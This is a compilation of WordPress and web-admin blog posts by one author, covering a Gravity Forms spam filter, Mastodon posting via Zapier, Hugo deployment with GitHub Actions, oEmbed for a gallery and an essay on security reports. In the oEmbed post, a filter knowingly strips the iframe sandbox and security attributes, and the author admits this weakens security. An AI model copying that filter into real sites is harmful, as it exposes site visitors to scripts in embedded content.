* @param boolean $is_spam -- Is this already spam or not?
* @param array $form -- All the form info
* @param array $entry -- All info from the entry
* @return boolean true/false if it's "spam"
*/
public function gform_entry_is_spam( $is_spam, $form, $entry ) {
// If this is already spam, we're gonna return and be done.
if ( $is_spam ) {
return $is_spam;
}
$spam_message = 'Failed internal spam checks';
$warn_message = '';
$is_spammer = false;
$is_moderated = false;
$is_bot = false;
$is_vpn = false;
// Loop and find the email:
foreach ( $entry as $value => $key ) {
if ( is_email( $key ) && ! $is_spammer ) {
$email = $key;
$is_spammer = Find_Spammers::is_spammer( $email, 'email', 'disallowed_keys' );
$is_moderated = Find_Spammers::is_spammer( $email, 'email', 'moderated_keys' );
}
if ( rest_is_ip_address( $key ) && ! $is_spammer ) {
$ip = $key;
$is_spammer = Find_Spammers::is_spammer( $ip, 'ip', 'disallowed_keys' );
$is_moderated = Find_Spammers::is_spammer( $ip, 'ip', 'moderated_keys' );
$is_bot = self::check_ip_location( $ip, 'hosting' );
$is_vpn = self::check_ip_location( $ip, 'proxy' );
}
}
// If this was a bot...
if ( true === $is_bot ) {
$warn_message .= 'Likely submitted by a bot or someone scripting. ';
}
// If a VPN...
if ( true === $is_vpn ) {
$warn_message .= 'Using a VPN. This may be harmless, but it\'s also how people evade bans. ';
}
// And if it's a spammer...
if ( $is_spammer ) {
$message = $spam_message;
if ( isset( $email ) ) {
$message .= ' - Email ( ' . $email . ' )';
}
if ( isset( $ip ) ) {
$message .= ' - IP Address ( ' . $ip . ' )';
}
$result = GFAPI::add_note( $entry['id'], 0, 'My Robot', $message, 'error', 'spam' );
return true;
} else {
if ( ! empty( $warn_message ) ) {
$add_note = GFAPI::add_note( $entry['id'], 0, 'My Robot', $warn_message, 'warning', 'spam' );
}
}
// If we got all the way down here, we're not spam!
return false;
}
/**
* IP Checker
*/
public function check_ip_location( $ip, $format = 'full' ) {
$return = $ip;
$localhost = array( '127.0.0.1', '::1', 'localhost' );
if ( in_array( $ip, $localhost, true ) ) {
$return = 'localhost';
} else {
$api = 'http://ip-api.com/json/' . $ip;
$request = wp_remote_get( $api );
if ( is_wp_error( $request ) ) {
return $ip; // Bail early
}
$body = wp_remote_retrieve_body( $request );
$data = json_decode( $body );
switch ( $format ) {
case 'full':
// Return: US - Chicago
$return .= ( isset( $data->countryCode ) ) ? ' ' . $data->countryCode : ''; // phpcs:ignore
$return .= ( isset( $data->countryCode ) ) ? ' - ' . $data->city : ''; // phpcs:ignore
$return .= ( isset( $data->proxy ) && true === $data->proxy ) ? ' (VPN)' : '';
break;
case 'hosting':
$return = ( isset( $data->hosting ) && true === $data->hosting ) ? true : false;
break;
case 'proxy':
$return .= ( isset( $data->proxy ) && true === $data->proxy ) ? true : false;
break;
}
}
return $return;
}
}
new My_Gravity_Forms();
```
## Any Issues?
Two.
1. I use an ‘approval’ feature (forked from “[Gravity Forms Approvals](https://wordpress.org/plugins/gravityformsapprovals/)” to allow for multiple approvers optional but only one has to approve to be a go – the original requires *all* approvers to approve) – for some reason this is not properly moving anything in spam or trash to a ‘rejected’ status
2. IP-Info got a ‘different’ IP location than I see from the IP in two cases. I believe that’s due to the individual trying to juke the system and being caught anyway, but it needs some debugging.
Oh and clearly I have some optimization I could stand to work on, but that’s for another day.
This code is live, in production, and has been merrily blocking Bertie for some time.
**Categories:** How To
**Tags:** coding, gravity forms, spam, wordpress
---
### [Zaptodon](https://halfelf.org/2023/zaptodon/)
**Published:** May 24, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Zap it to me. Send your WordPress posts to Mastodon without a plugin (but it's not free).
**Content:**
On a site, I use Zapier to automate a specific set of tasks. Every day, the website sets up a show/character of the day (I think you know what site this is…) and it posts that show/character to Twitter, Tumblr, Facebook and …. Mastodon.
Or at least it does now.
## Zapier
**Caveat!** I pay for this service. The webhooks used are in the starter package at $19.99/month annually.
There’s a service, [Zapier](https://zapier.com), that allows you to make incredibly complex if/then/else checks and performs an action. It’s not cheap, but at $250 a year it’s not expensive for my needs. Way back when, I picked it because I needed something that would let me actually script, and I recognized that running pushes like that all from my own server was a lot more work than it should be, what with all the libraries and so on.
Seeing as that wasn’t driven by a post or any action except time, it had its own quirks. But then one day in May we all woke up and saw how dumb Twitter was. They priced WordPress.com and Automattic out of their own API!
But not Zapier.
Note: Automattic made the right choice here. With the API cost *starting* at $42,000 a month (yes, a month, and I can remember when I made that a **year** and thought I was hot shit), knowing how inexpensive Jetpack Pro/Premium/Whatever is, there was no way they could justify it.
Zapier’s business model has a large chunk invested in pushing things to social (among all sorts of cool things, like calendar integration). So when I had to revisit how I posted new articles to Twitter anyway, I figured I’d wrangle Mastodon as well.
## The Zap Flow
Overall, my flow looks like this:
But what goes in each?
The first one is a built in and easy trigger. It follows the RSS for the site and, when there’s a new article, off it goes.
The third one is the tweet, which is about as straightforward as you might expect.
The second one is Mastodon. That’s where we’re going to concentrate today.
## Add an App
To do this, you need to create an ‘app’ for your Mastodon account. Log in to your instance (mine here is mstdn.social) and edit your profile. On that page, on the menu to the left, is an item called **Development**.
On that page you’ll see a list of Applications, if you have any, and a button to create a **New Application**. That’s what we want to do today. Click on that button and you’ll get the basic data:
I put in “Zapier” and “`https://zapier.com`” as my
Scroll further down and there are a *bunch* of options. You only need to have these two checked:
- `read:accounts`
- `write:statuses`
The read will let us know things worked, and write … I really hope that one is obvious for you, but you have to be able to write to post.
Click create and you will be redirected to the Application page where it will now list your app to Zapier. Click on that and you’ll be show a page with the set up info, but now it has a Client Key and a Client **secret**.
I clicked regenerate right after I took this screenshot.
You’ll be able to get at this whenever you want, so don’t panic.
## Back to Zapier
Over on Zapier, pop open your Zap. In my case, I had a pre-built one for Twitter, so I added this in by telling it I wanted to add an Action. Since I pay for Zapier, I have access to their premium webhook to post:
Pretty clear I think. I need “Webhooks by Zapier” and the Event is POST. That’s telling Zapier what to do with the hook.
The next part of the step is the Action and that has a lot of stuff. The first two are the URL and the Payload:
The URL is going to be `https://yourinstance.com/api/v1/statuses?access_token=[YourToken]` — What’s your token? Remember that as the third item shown on the edit page for your Application over on your instance? Yep! Paste that in.
I picked JSON for my payload since I’d been using it elsewhere. For the next part, I have to dig out the data. For Mastodon, you want your data ‘type’ to be `status` since that is literally telling it “I wanna make a status post!” and the content I made the description and the link.
If you click on that box where I have description etc, it’ll pop up with more options!
Pretty nifty! I left the rest as default:
- Wrap Request In Array – no
- File – empty
- Unflatten – yes
- Basic Auth – empty
- Headers – empty
Click on **continue** and you can test.
## Done!
That’s it! Now your RSS feeds will auto post to Mastodon.
I’m sure someone’s wondering “Why aren’t you using [ActivityPub](https://wordpress.org/plugins/activitypub/), Mika!?!” And the answer is… It doesn’t actually work on all hosts. ActivityPub requires you to be able to write to your `.well_known/` folder and, currently, you cannot do that on DreamHost because it’s managed at the server level.
This is **not** a wrong choice by either party! DreamHost (especially on DreamPress, the managed WP solution) wants to prevent you from breaking your SSL. Now, thanks to [@diziara](https://wordpress.org/support/users/diziara/), there **is** a workaround if you can edit the `.htaccess` file in your `.well_known` folder:
```
# Permit access to the challenge files but nothing else
Order allow,deny
Allow from all
RewriteCond %{REQUEST_URI} ^/[.]well-known/webfinger+$
RewriteRule .* /wp-json/activitypub/1.0/webfinger [L]
RewriteCond %{REQUEST_URI} ^/[.]well-known/acme-challenge/[a-zA-Z0-9_-]+$
RewriteRule .* - [L]
RewriteRule .* - [F]
```
Assuming your install is in root (mine is) you put that into the `.htaccess` and it works! I was surprised that it also let me edit on DreamPress, but I’m not sure if that will last. I’ll keep my [support-thread](https://wordpress.org/support/topic/alternatives-if-you-cant-edit-well-known/#post-16765719) updated though.
And the other thing… I don’t want people to ‘follow’ my blog like that. I mean, you could, but also people follow me as me, and if I auto-post to ‘me’ then it works. Telling people to follow my blog **and** me is tricky since people are lazy (seriously we all are). But if that’s your thing, then yes, you absolutely can follow `@ipstenu@halfelf.org` and get all my articles.
I’m still going to use a combination, since while I do want people to follow my blog, I suspect more will follow me instead. Also it’s easier to follow up on engagements (questions etc) if I’m watching ‘me’ and not two places. The other problem is it’s letting you follow **ME** at my blog. My other site has many more authors, and this isn’t **quite** right for that.
The nice thing, though, is that there isn’t a single perfect answer for everyone’s use case. For most people, ActivityPub will work and they can be made discoverable. For the others, though, hold on until end of June. My friends at Automattic are [planning to have post-to-mastodon support in their next iteration](https://github.com/Automattic/jetpack/issues/7790#issuecomment-1548454280).
I’ll still need my zaps since I post things that aren’t blog posts, but I’m looking forward to one less.
**Categories:** How To
**Tags:** mastodon, wordpress, zapier
---
### [Plugin Stories: What Do You Want to Hear?](https://halfelf.org/2023/plugin-stories-what-do-you-want-to-hear/)
**Published:** June 14, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I have a lot of tales from the dark. But I don’t know what kinds you’re interested in. So … here’s the chance!
**Content:**
[By July 2023, I will be retired from reviews.](https://make.wordpress.org/plugins/2023/03/10/advance-notice-of-retirement/)
There are a lot of reasons why, but none matter for the purpose of this post.
I’ve already written up and scheduled some posts about my time there, and things I’ve seen. One about when I realized the atmosphere in developers had made a serious shift (it involves plugin theft, NDAs, GPL, and impersonation), as well as why I hate most security plugins.
But my problem is that I have a **lot** of plugin stories to tell.
What kind of stories do you want to hear? What things have you always wondered about?
While I will not name names except in cases where the story happened in public. In my first post (July 5) I’ll explain why in a little more detail about why I don’t name, so don’t ask for that. Besides, if I name and shame, they’ll come after me and I’m too tired for that shit.
I’m weeding through my notes (yes, I have them for self protection) of stories that can be sanitized and retold, but not all can.
Do people want to hear about common mistakes? Do they just want to see someone losing their blob (that’s most of them)? The ones **I** think most people would want to hear is thinks like the guy who stole a plugin from the contractor he hired.
So. Comments are open. Do the thing. But be nice.
**Categories:** How it Was
**Tags:** plugins, questions, wordpress
---
### [Hugo Deployment via GitHub Actions](https://halfelf.org/2021/hugo-deployment-via-github-actions/)
**Published:** September 20, 2021
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using GitHub actions to build and deploy a static site is fun.
**Content:**
For a long time I’ve been managing deployment of a Hugo site via a few home-grown scripts and actions. All that has changed.
## The Setup
So let’s get our setup explained:
1. [Hugo](http://gohugo.io/) is used to manage a library of data
2. The posts and the theme are in the same repo, but stored under ‘Content’ (which has data, posts, and static) and themes (which has … the theme)
3. Most of the changes are in the post content
Okay, now this is not a conversation about why (or why not) use Hugo. I like it for my pretty much text-only wiki type content, in that it lets me keep things organized and usable from everything including my iPad.
But this use of Hugo comes with a cost. One of the reasons people love CMS tools like WordPress is that you can edit in your browser, and frankly that’s super easy. Using a static site builder, you have to run (somewhere) the static site build command. For a while I had a ‘deployme’ local command that did this:
```
$ hugo -F -s /home/username/Development/site/hugo
$ rsync -aCt --delete --exclude-from '/home/username/Development/rsync-exclude.txt' --force --omit-dir-times -e ssh /home/username/Development/site/hugo/ user@example.com:/home/username/domain/hugo
```
Not super complicated, right? I have it on my laptop but it means I can’t always push code. Like if I edit directly on Github or on my iPad.
Normally I’d look into something like [Codeship](https://www.cloudbees.com/products/codeship) (which I’ve [talked about before](https://halfelf.org/2017/deploying-github-codeship/)) but … I thought it was high time I sat down and made things simpler.
## What’s Simpler?
In this case, simpler means “fewer moving parts that could go wrong.”
See I love Codeship, it lets me do a lot of cool things, but it’s also a little fragile and (honestly) sucky when it comes to Hugo. Creating a server and running hugo took longer than it did on my laptop. A lot longer. Many minutes longer.
If I ran it locally it was a few seconds:
```
Start building sites …
hugo v0.87.0+extended darwin/arm64 BuildDate=unknown
| EN
-------------------+-------
Pages | 1762
Paginator pages | 0
Non-page files | 0
Static files | 92
Processed images | 0
Aliases | 2
Sitemaps | 1
Cleaned | 0
Built in 1562 ms
```
When I did it on Codeship it would be 5-14 minutes! That’s crazy, right? Which is why I moved off Codeship and down to local. But that came with the cost of limiting when and where I could run anything. While my code is super simple, it’s also silo’d and that’s bad.
In order to achieve simplicity, what I really needed is code that runs from Github. Or on the server where the site is. Back in ‘the day’ I installed hugo on the server, but also Git! That means I pushed to my git repo, which was on the same server, and I used [post-commit hooks to deploy](https://halfelf.org/2015/deploying-hugo/). I’ve toyed around with a few iterations, but then I moved to a new server where I didn’t install Go because … I didn’t need it.
And that means here, simple is:
- runnable from anywhere
- automated
- restricted when needed
- not crossing multiple services
Which led me to Github actions.
## Github Actions
This is a service from Github.
> GitHub Actions makes it easy to automate all your software workflows, now with world-class CI/CD. Build, test, and deploy your code right from GitHub. Make code reviews, branch management, and issue triaging work the way you want.
In other words, Github saw us all using Travis and Codeship and thought “We could do that and keep people here, right?”
But Actions goes beyond just automation. The Actions interface allows you to run tests, builds, checks, and, yes, deploys. It’s an order of magnitude faster than tools like Codeship because it’s a stripped down, basic interface. It’s also controlled by Github so you don’t need more access than committing code.
There are some cons, though. One of the headaches with Codeship was that when Hugo updated, Codeship might just … stop working right. So you had to find the magic sauce to make it work. With Github Actions, you’re using ‘actions’ built by other people a lot of the time, and if you’re familiar with the drama that happened in npm a while ago, you may share my fear of “What if someone else deletes their action…?”
Yeah, I have concerns/
## main.yml
Here’s my code:
```
name: 'Generate and deploy'
on:
push:
branches: [ production ]
jobs:
deploy-website:
runs-on: ubuntu-latest
steps:
- name: Do a git checkout including submodules
uses: actions/checkout@v2
with:
submodules: true
- name: Setup Hugo
uses: peaceiris/actions-hugo@v2
with:
hugo-version: 'latest'
# extended: true
- name: Build Hugo
run: hugo --minify
- name: Deploy to Server
uses: easingthemes/ssh-deploy@main
env:
SSH_PRIVATE_KEY: ${{ secrets.SERVER_SSH_KEY }}
ARGS: "-rlgoDzvc -i"
SOURCE: "public/"
REMOTE_HOST: ${{ secrets.REMOTE_HOST }}
REMOTE_USER: ${{ secrets.REMOTE_USER }}
TARGET: "/home/username/domain/library/"
#EXCLUDE: "/dist/, /node_modules/"
```
There are a number of alternatives, but I picked [peaceiris/actions-hugo](https://github.com/marketplace/actions/hugo-setup) because that developer is [well known and respected](https://github.blog/2020-03-22-github-action-hero-shohei-ueda/). And while there are all-in-one Hugo build and deploy, I decided to separate them because I linked peaceiris’ code. This meant I needed an Rsync or ssh deployment. I settled on [easingthemes/ssh-deploy](https://github.com/easingthemes/ssh-deploy) because they strongly encouraged the use of secrets, and that’s a good sign to me. Also it’s heavily [recommended by Flywheel](https://getflywheel.com/wordpress-support/deploying-to-flywheel-via-ssh-and-github-actions/), and a I cannot imagine them being reckless.
The only ‘gotcha’ I had was the directions about how to setup SSH was not great.
To make it work, you need to create a pem key on the server:
```
ssh-keygen -m PEM -t rsa -b 4096
```
Then you need to put that key in a secret (I named mine `SERVER_SSH_KEY`). But what they don’t mention quite as clearly is what this means:
> Private key part of an SSH key pair. The public key part should be added to the `authorized_keys` file on the server that receives the deployment.
Yes, they’re saying “the public key for your own server has to be on the `authorized_keys` for the server.” And yes, that’s a weird thing to say, but there it is. That means you copy your own key from your server at `~/.ssh/id_rsa.pub` (the .PUB is the part that explains this is a PUBLIC key) and you paste that in to the end of `~/.ssh/authorized_keys` on the same server. Yes, it’s really funky.
## My ongoing concerns
I mentioned that there are security issues. I spend a lot of time in WordPress plugin land, where people could commit nefarious code to a plugin any day. Some do. I’ve banned enough people from .org for stupid stuff like that. And some of[ Github’s advice](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections) matches my own: the only way to be safe is to do the damn research yourself.
But that’s not really something most people can do. And it’s something for a longer post in general. My short list of concerns right now is:
- the action I’m using is deleted
- the action is edited and breaks my flow/injects malware
- the action is used to steal my credentials
There are ways to mitigate this
- I can use actions made and managed and maintained by Github only (those are under the [Actions org](https://github.com/orgs/actions/)) — those are unlikely to be deleted and can be trusted as much as Github
- I can make copies of the actions I want to use (and periodically remember to update them…)
- I can make use of [encrypted secrets](https://docs.github.com/en/actions/reference/encrypted-secrets) to hide sensitive information
But. It’s a risk. And I know it.
**Categories:** How To
**Tags:** actions, deployment, EXCLUDE, github, hugo
---
### [oEmbedding Galleries](https://halfelf.org/2021/oembedding-galleries/)
**Published:** October 20, 2021
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Why make a complicated, UX fussy, WordPress plugin when I could just make oEmbed a thing?
**Content:**
I use [NetPhotoGraphics](https://github.com/netPhotoGraphics/netPhotoGraphics/) to handle a 2.5 **gig** gallery, spanning back 20 or so years. The gallery used to be a home grown PHP script, then it was Gallery, then Gallery 2, then ZenPhoto, and now NetPhotoGraphics (which ostensibly is a fork of ZenPhoto, but diverged in a way I’m more supportive of).
Anyway. I use this gallery in conjunction with a WordPress site. I’ll post news on WordPress and link to the gallery. But for years, to do that my choices were:
1. make a text link
2. make a photo which is a link
3. copy all the thumbnails over and link each one
Those all suck. Especially the third, since you can’t (out of the box) custom link images in a gallery in WordPress and frankly I don’t like any of the plugins.
Once upon a time, I used a ZenPhoto plugin, but it’s been abandoned for years and stopped working a while ago. I needed something that had an elegant fallback (i.e. if you uninstall the plugin) and seriously thought about forking the WordPress plugin…
But then I had a better idea.
## Why oEmbed?
[oEmbed](https://oembed.com) is an industry standard. By having your app (Flickr, Twitter, your WordPress blog) offer a custom endpoint, someone can embed it easily into their own site! WordPress has supported many embeds for a long time, but as of 2015, it’s included [oEmbed *Discovery*](https://wordpress.org/support/article/embeds/). That’s why you can paste in a link to Twitter, and WordPress will automagically embed it!
> I maybe wrote an oembed plugin for another CMS so I could embed things into WordPress… Because the other option was a MASSIVE complex WP Plugin and FFS why not?
>
> — ipstenu (Mika E.) (@Ipstenu) [September 26, 2021](https://twitter.com/Ipstenu/status/1441950326777540609?ref_src=twsrc%5Etfw)
(Note: I shut down my twitter account in November ‘22 when it was taken over by a narcissist who brought back abuse.)
I just pasted the URL `https://twitter.com/Ipstenu/status/1441950326777540609` in and WordPress automagically converts it to a pretty embed. About the only social media company you **can’t** do that with is [Facebook](https://developers.facebook.com/docs/plugins/oembed), who requires you to make an app (I use Jetpack for it). Anyway, point being, this is also how tools like Slack or Discord know to embed your content when you paste in a link!
By making an oEmbed endpoint, I allow my site to become more shareable and more engageble, which is a net positive for me. If I do it right, out of the box it’ll allow anyone with a WordPress site (i.e. me) to paste in a URL to my gallery and it looks pretty! Win win!
## The NetPhotoGraphics Plugin
Now. I’m a terrible designer, so I literally copied the design WordPress itself uses for embeds and spun up a (relatively) fast solution:[ oEmbed for NetPhotoGraphics](https://github.com/jorjafox/embed-npg).
The code is one file (`oembed.php`) which goes in the `/plugins/` folder in your NetPhotoGraphics install. Then you activate the plugin and you’re done. There are only one thing to customize, the ‘gallery’ icon. By default it grabs a little NPG logo, but if you put a `/images/oembed-icon.png` image in your gallery, it’ll use that.
And does it work? Here’s how the first version looked on a live page:
I wanted to limit the images since sometimes I have upwards of 200 (look, episodes of *CSI* are a thing for me). And frankly pasting in a URL to the gallery is a lot easier than drilling down on a list of a hundred albums. This is exactly what I needed.
Since the creation of that, I worked with netPhotoGraphics and he helped me make it better.
## One Bug and a Future
There’s room to grow here. Thanks to S. Billard, we’ve got a lot more flexible. You can override the basic design with your own theme, you can replace the icons, and there are even options to adjust the size of the iframes. Part of me thinks it could use a nicer design, maybe a single-photo Instagram style embed instead of what I have, but that’s not my forte. Also I have yet to get around to putting in ‘share’ options. (Pull Requests welcome!)
And yes, I know the security isn’t ‘enough’ but I wasn’t able to get it to work how I wanted due to a weird bug. You see, I did run into a rare quirk with WordPress due to how I built out the site. *IF* you have your gallery in a subfolder under/beside a WordPress install *AND* you try to embed the gallery into that WordPress site, you *MAY* find out WP thinks your embed is WordPress and not NPG.
In my case, I have:
- `example.com` – WordPress
- `example.com/gallery` – NetPhotoGraphics
I guess WordPress reads a little too deep into who’s WP and who’s not, which resulted in me making this WordPress filter:
```
add_filter( 'embed_oembed_html', 'npg_wrap_oembed_html', 99, 4 );
}
function npg_wrap_oembed_html( $cached_html, $url, $attr, $post_id ) {
if ( false !== strpos( $url, '://example.com/gallery' ) ) {
$cached_html = '
' . $cached_html . '
';
$cached_html = str_replace( 'wp-embedded-content', 'npg-embedded-content', $cached_html );
$cached_html = str_replace( 'sandbox="allow-scripts"', '', $cached_html );
$cached_html = str_replace( 'security="restricted"', '', $cached_html );
}
return $cached_html;
}
```
Change `'://example.com/gallery'` to the location of your own gallery install.
No I don’t like this either, but it was a ‘get it done’ moment. Also this is why the iframe security is lacking.
**Categories:** How To
**Tags:** netphotographics, oembed, plugins
---
### [Why We Hate Your Security Reports](https://halfelf.org/2021/why-we-hate-your-security-reports/)
**Published:** December 27, 2021
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I did some self reflection on why I hate security reports, and what I came up with was "people aren't explaining themselves."
**Content:**
I was having a day where a bunch of security reports were dumped in my lap. There have been days where those have been hundreds. Thankfully this wasn’t, but it did make me sit back and think about why I hated so many reports.
In general, everything can be summed up as “The person reporting doesn’t provide all the relevant information.” Sometimes they don’t know, and that’s okay. People don’t learn by osmosis, they have to be taught. But a lot of the people submitting reports do know and just don’t. And the real crux of it all? People aren’t explaining **why** things matter.
Let me explain…
## The Uninformed
These are the people who report an app and say “It’s this app because I installed it and I was hacked.” Another variant is “It’s this app because that’s where the hacked file lives.”
And the email will have no other information. With those, I have to explain not only are they probably wrong, but I have to dig and get at the information.
- Why do you think it’s this app?
- Do you have any evidence?
Those are pretty basic questions at the heart, but it’s on me to explain why correlation isn’t causation, and just because (say) Hello Dolly was infected does not mean that it was vulnerable.
This has no solution other than education. I dislike those, but since most people are pretty cool about it when I explain how I know it’s **not** the app they think it is, it’s okay.
Semi-related are people who email us security logs from their services, and those are always messy, since it’s information without enough context. Which I’ll get to in a minute.
## The Too Terse
Sometimes reports are explanatory but not enough. “It’s an XSS in this app.”
Now, the good news is I know what I’m looking for. The **bad** news is that someone who actually knows what the issue is has decided to not share, which means I now have to figure out how they figured it out. It used to be I’d do that, but then they’d email back all snarky and bitchy that I didn’t find the one **they** found. Nowadays I push back. “Can you please provide details?”
That has a weird hit-and-miss. Sometimes people are pretty chill and explain. The majority do what I think of as a pre-teen eyeroll. You can actually tell they’re huffing in annoyance that someone dared ask them to unpack what was in their heads.
To put this differently, have you ever had someone say “Hey, the website’s down.” and just … not give you an error message? You know how maddening that is? Right that’s what we’re talking about.
## The Non Explainers
You’d think this is the same as Terse, but it’s not. The non-explainers don’t explain **WHY** something is a security issue.
I know, someone’s reading this going “Hang on, but if I tell you it’s a SQL injection vulnerability, and where it is, isn’t that enough?” And the answer is, most of the time, yes! The people who give a great proof of concept, with exactly how to replicate it, in clear English, are my favourites. They break down how things happen so you can see “Oh that’s why.” But… When they don’t, it means someone (read: me) has to go and figure out “Okay, why is this bad, and how bad is it?”
## The Hater Reporters
I can’t believe I had to add this one in, but here we are in 2021 and there are some ‘security reporter firms’ who think the best way to report an issue is
1. make it public
2. attempt to make other people feel bad
3. dogshame developers
For them, the only way forward is their road or no way at all, and they cannot be reasoned with. Eventually someone will sue them for releasing a 0-day vulnerability without even trying to privately disclose first, and when that happens, I’ll make the popcorn.
## The Issue Is Education
If you go back through, you can see the real issues are people not unpacking what they actually know and sharing in a **digestible** manner! And this is terribly endemic of security *companies* more than anything else.
For example, recently a security company reported a local file inclusion (LFI) issue. Now for those who don’t know, the issue is the code in question could be used to include **any** file on the server. Including a hacked file. But if someone just told you “Hey that’s an LFI and you’re bad!” then, even if they take the time to tell you where the issue is, if they’re not explaining to you **how** it’s exploitable, you may not know!
And then, even when people explain it, they explain as if they’re talking to a developer of their caliber. I certainly am, but the people I’ve got to pass the report to (the actual devs) are not always. Even when they are, sometimes they’re total berks who will snark that it’s not worth the time to escape things at that low a risk.
## Understanding Risk
Security is massively important but the reality is that it’s not the first thing on most people’s minds when they write code (sorry folks). Usually people concentrate on making the code work first. Then, once it works, they go back to make it safer. I’m not casting aspersions here. There’s nothing wrong with making it work first. The issues begin when people don’t take security with the proper seriousness.
Just the other day I saw someone who had to be told that yes, you **always** escape content you’re echoing. Why? Because users are humans, and humans do some really stupid things. Even if you think of yourself as average, that means roughly half of your users are not as smart as you, which means that half is who you’ve got to look out for. You sanitize content you save, you scape content you echo. All. The. Time.
And yes, I’ve seen people who are experienced developers, people with plugins whose user count is in thousands, reply that it’s not needed to escape because … it’ll make their code slower.
Sometimes I tell people “This is why I drink.”
## Proper Education
Now. Part of this is on the community/company. WordPress, where I do a lot of work, has decent documentation about security. In fact, as of late WordPress’ docs have been phenomenal about this!
Here’s what the plugin dev docs say about [nonces](https://developer.wordpress.org/plugins/security/nonces/):
> If your plugin allows users to submit data; be it on the Admin or the Public side; you have to make sure that the user is who they say they are and that they [have the necessary capability](https://developer.wordpress.org/plugins/security/checking-user-capabilities/) to perform the action. Doing both in tandem means that data is only changing when the user *expects* it to be changing.
Now. That kind of explains why you want to do this, but does it explain why it’s needed for security? Only from a high level. For the crux you have to scroll down a little:
> The capability check ensures that only users who have permission to delete a post are able to delete a post. But what if someone were to trick you into clicking that link? You have the necessary capability, so you could unwittingly delete a post.
Now that makes a lot more sense, right? That is a good doc, assuming people read it.
And look at the bolded intro for [escaping](https://developer.wordpress.org/plugins/security/securing-output/):
> Escaping means stripping out unwanted data, like malformed HTML or script tags.
>
> **Whenever you’re rendering data, make sure to properly escape it. Escaping output prevents XSS (Cross-site scripting) attacks.**
Whenever. Not sometimes, not when it’s convenient. **WHENEVER**.
And yes, this means **every single time you echo anything as a variable, you damn well escape it**. No questions asked.
But when I say proper education, I mean in explaining why a specific issue is, in fact, an issue.
## Communication Is Queen
If you’re a regular person who sent a report you weren’t sure about, you’re fine. This next bit is not about you. This is about security experts and other developers.
Did you contact developers, ***privately***, about issues with their code? If you’re a security company, do you have documentation on your site to explain how something in an XSS or LFI vulnerability? Did you explain in the contact why something is a risky LFI? Did you take a minute to share a Proof of Concept to illustrate how you knew something was a risk? Did you describe why and how the POC shows the risk?
That’s what you have to do.
You want other developers to be better and to write better code? Then you communicate, clearly, and take time to ensure what you’ve said is understandable by the recipient.
I hate your security reports because they’re not reports at all. They’re dumping a problem on someone else and not giving them the tools to progress. You’re expecting them to do all the work you already did, which by the way is a waste of everyone’s time. It wastes my time because now I have to do everything you already did, and it wastes yours since I’ll probably ask you for the details.
But. If you start with a private, polite, report of “Hey, I found this. Here’s how and here’s why I know it’s an issue.” then you, you my friend, are heroes. You’re actually making the entire world better for everyone.
Thank you.
**Categories:** How It Is
**Tags:** reporting, security
---
### [Stopping Jerks in Ninja Forms](https://halfelf.org/2022/stopping-jerks-in-ninja-forms/)
**Published:** October 25, 2022
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Stopping spam with Ninja Forms is shockingly harder than I expected, and overall disappointing.
**Content:**
I don’t have a spam problem, I have a jerky people problem. I have people who, no matter how many times I explain I cannot help them, or I don’t want to talk to them, will continue to email.
Right now, I have some absolute weirdo in Europe who emails me every day via a contact form. I don’t know what the heck he’s thinking, but I do not need advice about how to live my life nor can I help him talk to a celebrity. The problem though is I can’t delete the form. I can (and did) set his email to auto-bin via my mail server, but he still fills the form in and I am just tired of cleaning this up.
This site happens to use Ninja Forms, and really what I want to do is auto-cycle his emails to the bin so he can rant all he wants and never knows I don’t see a thing.
(Note: This is **not** the same person as my [serial harasser](https://halfelf.org/2021/when-its-not-burnout/).)
## Warning: Their Documentation is Rough
The biggest headache to all this is the fact that Ninja Forms’ documentation kinda sucks. For example, you cannot **search** their ‘[codex](https://developer.ninjaforms.com/codex/)‘! That’s just basic level for a documentation service, and on top of that if you try googling, it wants to send you to the non-developer pages.
Now to their credit they know this:
> *Admin note*: we have not been able to give this site the attention it needs or deserves for a while. *Most* of the Codex documentation is still applicable, but please be aware that you will find some outdated material here that will need to be adapted for Ninja Forms in its current, more modern, state.
But that doesn’t make it really any better for me today, and it’s been like that for a while.
Which means thinking “I can search for how to auto-flag a submission as spam/trash!” is impossible. It doesn’t work, it doesn’t exist in current NF format, and it’s a pain to the point that I seriously considered dumping the whole plugin over this!
Folks. I know documentation is incredibly hard, but if you want people to make plugins to extend yours, and thus help make you even more popular, hire someone to do this. It’s only gonna get harder as time goes on.
## The Initial Code
The first step is, of course, can I even do this, and of course I can:
```
**Categories:** How To
**Tags:** email, Ninja Forms, plugins, spam
---
### [CLI Like a Webhost](https://halfelf.org/2022/cli-like-a-webhost/)
**Published:** September 21, 2022
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Command Line tools to knock administrator to the next level!
**Content:**
For the last ten years, I worked for DreamHost, which meant I had access to a lot of awesome commands that everyone ran to diagnose things.
Well now I’m gone and I’m still a webadmin for my domains. And I have, as you all know, a weird guy who keeps going after me. I also have been running fandom sites for longer than WordPress has existed. I’ve had to learn a lot of tricks to sort out ‘Is this person so-and-so *again*?!’
Now… I’m going to tell you a secret. You ready? Okay, most of those scripts hosts run? They’re just cleaned up shell commands you run on the server via command line (aka command line interface aka cli). And those commands? They’re actually pretty common, well known, and public.
So here are *some* of the ones I use and why!
## Before You Begin…
I have to step back a moment.
Do you know where your log files are? DreamHost posted in their KB how you do that, but you will want to check your hosts:
- [Access.log via SSH on DreamHost](https://help.dreamhost.com/hc/en-us/articles/216105097-Viewing-and-examining-your-access-log-via-SSH)
- [Error.log via SSH on DreamHost](https://help.dreamhost.com/hc/en-us/articles/216512217-Viewing-and-examining-your-error-log-via-SSH)
There are three caveats, and I know one is weird.
### 1. Logs rotate
Server space matters, so logs are regularly deleted to prevent your data from killing things.
Right now I see this:
```
-rw-r--r-- 1 root root 3.5M Sep 16 09:08 access.log
lrwxrwxrwx 1 root root 21 Sep 16 00:49 access.log.0 -> access.log.2022-09-15
-rw-r--r-- 1 username server 1.6M Sep 12 00:51 access.log.2022-09-11.gz
-rw-r--r-- 1 username server 1.4M Sep 13 00:54 access.log.2022-09-12.gz
-rw-r--r-- 1 username server 1.6M Sep 14 00:11 access.log.2022-09-13.gz
